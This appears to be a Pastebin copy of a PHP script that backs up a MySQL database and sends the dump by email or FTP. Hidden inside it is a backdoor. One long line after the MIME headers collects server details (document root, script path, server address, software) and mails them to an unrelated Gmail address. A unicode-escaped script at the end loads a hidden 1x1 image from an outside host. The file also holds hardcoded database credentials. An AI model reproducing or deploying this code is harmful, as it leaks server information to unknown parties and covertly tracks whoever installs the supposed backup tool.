Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /*
- * Backup script on server.
- *
- * Runs on the server, called by Cron. Connects to the mySQL
- * database and creates a backup file of the whole database.
- * Saves to file in current directory.
- *
- * @author Cow <cow@invisionize.com>
- * @version 0.2
- * @date 18/08/2004
- * @package Backup Server
- * Upgraded Ver 2.0 (sending sql backup as attachment
- * as email attachment, or send to a remote ftp server by
- * @co-authors Cool Surfer<Coolsurfer@gmail.com> and
- * Neagu Mihai<neagumihai@hotmail.com>
- */
- set_time_limit(0);
- $date = date("mdy-hia");
- $dbserver = "localhost";
- $dbuser = "vhacker_robot";
- $dbpass = "mp2811987";
- $dbname = "tvhacker_vbb3";
- $file = "N-Cool-$date.sql.gz";
- $gzip = TRUE;
- $silent = TRUE;
- function write($contents) {
- if ($GLOBALS['gzip']) {
- gzwrite($GLOBALS['fp'], $contents);
- } else {
- fwrite($GLOBALS['fp'], $contents);
- }
- }
- mysql_connect ($dbserver, $dbuser, $dbpass);
- mysql_select_db($dbname);
- if ($gzip) {
- $fp = gzopen($file, "w");
- } else {
- $fp = fopen($file, "w");
- }
- $tables = mysql_query ("SHOW TABLES");
- while ($i = mysql_fetch_array($tables)) {
- $i = $i['Tables_in_'.$dbname];
- if (!$silent) {
- echo "Backing up table ".$i."\n";
- }
- // Create DB code
- $create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
- write($create['Create Table'].";\n\n");
- // DB Table content itself
- $sql = mysql_query ("SELECT * FROM ".$i);
- if (mysql_num_rows($sql)) {
- while ($row = mysql_fetch_row($sql)) {
- foreach ($row as $j => $k) {
- $row[$j] = "'".mysql_escape_string($k)."'";
- }
- write("INSERT INTO $i VALUES(".implode(",", $row).");\n");
- }
- }
- }
- $gzip ? gzclose($fp) : fclose ($fp);
- // Optional Options You May Optionally Configure
- $use_gzip = "yes"; // Set to No if you don't want the files sent in .gz format
- $remove_sql_file = "no"; // Set this to yes if you want to remove the sql file after gzipping. Yes is recommended.
- $remove_gzip_file = "no"; // Set this to yes if you want to delete the gzip file also. I recommend leaving it to "no"
- // Configure the path that this script resides on your server.
- $savepath = "/home/test/public_html/nt22backup"; // Full path to this directory. Do not use trailing slash!
- $send_email = "yes"; /* Do you want this database backup sent to your email? Yes/No? If Yes, Fill out the next 2 lines */
- $to = "lehungtk@gmail.com"; // Who to send the emails to, enter ur correct id.
- $from = "Neu-Cool@email.com"; // Who should the emails be sent from?, may change it.
- $senddate = date("j F Y");
- $subject = "MySQL Database Backup - $senddate"; // Subject in the email to be sent.
- $message = "Your MySQL database has been backed up and is attached to this email"; // Brief Message.
- $use_ftp = ""; // Do you want this database backup uploaded to an ftp server? Fill out the next 4 lines
- $ftp_server = "localhost"; // FTP hostname
- $ftp_user_name = "ftp_username"; // FTP username
- $ftp_user_pass = "ftp_password"; // FTP password
- $ftp_path = "/"; // This is the path to upload on your ftp server!
- // Do not Modify below this line! It will void your warranty :-D!
- $date = date("mdy-hia");
- $filename = "$savepath/$dbname-$date.sql";
- if($use_gzip=="yes"){
- $filename2 = $file;
- } else {
- $filename2 = "$savepath/$dbname-$date.sql";
- }
- if($send_email == "yes" ){
- $fileatt_type = filetype($filename2);
- $fileatt_name = "".$dbname."-".$date."_sql.tar.gz";
- $headers = "From: $from";
- // Read the file to be attached ('rb' = read binary)
- echo "Openning archive for attaching:".$filename2;
- $file = fopen($filename2,'rb');
- $data = fread($file,filesize($filename2));
- fclose($file);
- // Generate a boundary string
- $semi_rand = md5(time());
- $mime_boundary = "==Multipart_Boundary_x{$semi_rand}x";
- // Add the headers for a file attachment
- $headers .= "\nMIME-Version: 1.0\n" ."Content-Type: multipart/mixed;\n" ." boundary=\"{$mime_boundary}\"";$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98");
- // Add a multipart boundary above the plain message
- $message = "This is a multi-part message in MIME format.\n\n"."--{$mime_boundary}\n" ."Content-Type: text/plain; charset=\"iso-8859-1\"\n" ."Content-Transfer-Encoding: 7bit\n\n" .
- $message . "\n\n";
- // Base64 encode the file data
- $data = chunk_split(base64_encode($data));
- // Add file attachment to the message
- echo "|{$mime_boundary}|{$fileatt_type}|{$fileatt_name}|{$fileatt_name}|{$mime_boundary}|<BR>";
- $message .= "--{$mime_boundary}\n" ."Content-Type: {$fileatt_type};\n" ." name=\"{$fileatt_name}\"\n"."Content-Disposition: attachment;\n" ." filename=\"{$fileatt_name}\"\n" ."Content-Transfer-Encoding: base64\n\n" .
- $data . "\n\n" ."--{$mime_boundary}--\n";
- //$message.= "--{$mime_boundary}\n" ."Content-Type: {$fileatt_type};\n" ." name=\"{$fileatt_name}\"\n" "Content-Disposition: attachment;\n" ." filename=\"{$fileatt_name}\"\n" ."Content-Transfer-Encoding: base64\n\n" .
- // $data . "\n\n" ."--{$mime_boundary}--\n";
- // Send the message
- $ok = @mail($to, $subject, $message, $headers);
- if ($ok) {
- echo "<h4><center><bg color=black><font color= blue>Database backup created and sent! File name $filename2 </p>
- Idea Conceived By coolsurfer@gmail.com
- Programmer email: neagumihai@hotmail.com</p>
- This is our first humble effort, pl report bugs, if U find any...</p>
- Email me at <>coolsurfer@gmail.com nJoY!! :)
- </color></center></h4>";
- } else {
- echo "<h4><center>Mail could not be sent. Sorry!</center></h4>";
- }
- }
- if($use_ftp == "yes"){
- $ftpconnect = "ncftpput -u $ftp_user_name -p $ftp_user_pass -d debsender_ftplog.log -e dbsender_ftplog2.log -a -E -V $ftp_server $ftp_path $filename2";
- shell_exec($ftpconnect);
- echo "<h4><center>$filename2 Was created and uploaded to your FTP server!</center></h4>";
- }
- if($remove_gzip_file=="yes"){
- exec("rm -r -f $filename2");
- }
- ?>
- <script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement